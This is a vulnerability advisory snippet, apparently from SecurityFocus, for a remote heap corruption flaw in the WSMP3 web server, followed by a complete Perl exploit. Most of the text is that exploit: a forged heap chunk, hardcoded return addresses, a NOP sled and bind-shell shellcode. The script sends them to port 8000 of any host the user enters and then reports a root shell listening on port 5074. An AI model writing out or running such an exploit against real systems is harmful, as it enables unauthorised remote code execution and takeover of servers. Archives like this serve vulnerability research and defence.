source: http://www.securityfocus.com/bid/6240/info

A remotely exploitable heap corruption vulnerability has been reported for WSMP3.

Due to insufficient bounds checking of user-supplied input, it is possible for a remote attacker to corrupt heap memory. By corrupting allocated memory headers, it is possible to redirect program flow when the free() function is called.

Successful exploitation of this issue may result in remote execution of arbitrary code with root privileges.


#!/usr/bin/perl -w
#
#
# Remote Heap malloc/free & multiple Overflow vulnerability in WSMP3.
# Bug found by; dong-h0un U
# Exploit Coded By; Damian Myerscough
#
# visit: www.securityfreaks.com
# visit: http://x82.i21c.net
#
# 0x02. Vulnerable Packages
# =-=-=-=-=-=-=-=-=-=-=-=-=
#
# Vendor site: http://wsmp3.sourceforge.net/
#
# web_server-0.0.6
# -web_server-0.0.6.tar.gz
# +RedHat Linux 6.x
# web_server-0.0.5 (exploitable)
# -web_server-0.0.5.tar.gz
# web_server-0.0.4
# -web_server-0.0.4.tar.gz
# web_server-0.0.3
# -web_server-0.0.3.tar.gz.gz
# wsmp3-0.0.2
# -web_server-0.0.2.tar.gz
# web_server-v.0.0.1
# -web_server.tar.gz
#
# Tested On Redhat 6.1 (cartman)
#
#

use IO::Socket;

$Shellcode = "\x41\x41\x41\x41". # offset
"\x41\x41\x41\x41". # offset
"\x41\x41\x41\x41". # offset
"\x41\x41\x41\x41". # offset 16 bytes
"\xfc\xff\xff\xff". # chunk header
"\xff\xff\xff\xff". # ""
"\xa0\x1b\x05\x08". # 0x08051bac-12
"\xd0\x7b\xff\xbf". # 0xbfff7bd0
"\x20". # ' '
"\x90\x90\x90\x90\x90\x90\x90\x90". # nop
"\xeb\x0c\xeb\x0c\xeb\x0c\xeb\x0c". # nop 12 bytes jumpcode
"\x90\x90\x90\x90\x90\x90\x90\x90". # nop
"\x90\x90\x90\x90\x90\x90\x90\x90". # nop
#Shellcode Binds a port on 5074 This shellcode is 92 bytes
"\x31\xc0".
"\x50".
"\x40".
"\x89\xc3".
"\x50".
"\x40".
"\x50".
"\x89\xe1".
"\xb0\x66".
"\xcd\x80".
"\x31\xd2".
"\x52".
"\x66\x68\x13\xd2".
"\x43".
"\x66\x53".
"\x89\xe1".
"\x6a\x10".
"\x51".
"\x50".
"\x89\xe1".
"\xb0\x66".
"\xcd\x80".
"\x40".
"\x89\x44\x24\x04".
"\x43".
"\x43".
"\xb0\x66".
"\xcd\x80".
"\x83\xc4\x0c".
"\x52".
"\x52".
"\x43".
"\xb0\x66".
"\xcd\x80".
"\x93".
"\x89\xd1".
"\xb0\x3f".
"\xcd\x80".
"\x41".
"\x80\xf9\x03".
"\x75\xf6".
"\x52".
"\x68\x6e\x2f\x73\x68".
"\x68\x2f\x2f\x62\x69".
"\x89\xe3".
"\x52".
"\x53".
"\x89\xe1".
"\xb0\x0b".
"\xcd\x80";

print"+==========================================+\n";
print" Remote Heap malloc/free WSMP3 \n";
print" Coded By; Damian Myerscough \n";
print" Bug found By; dong-h0un U \n";
print" Offset done By; dong-h0un U \n";
print"+==========================================+\n\n";

print"Enter a Host: ";
$Host = <STDIN>;
chop($Host);

# First connect.
$Socket = IO::Socket::INET->new(Proto =>"tcp",
PeerAddr =>$Host,
PeerPort =>8000) || die "Could not connect
to $Host \n";

print"Sending Fake Chunk.\n";
print $Socket "$Shellcode";
close($Socket);

# Second connect.
$Socket = IO::Socket::INET->new(Proto =>"tcp",
PeerAddr =>$Host,
PeerPort =>8000) || die "Could not connect
to $Host \n";
print"Sending Shellcode.\n";
print $Socket "$Shellcode";
close($Socket);

print"Binded port.\n";
print"Telnet to $Host at port 5074\n";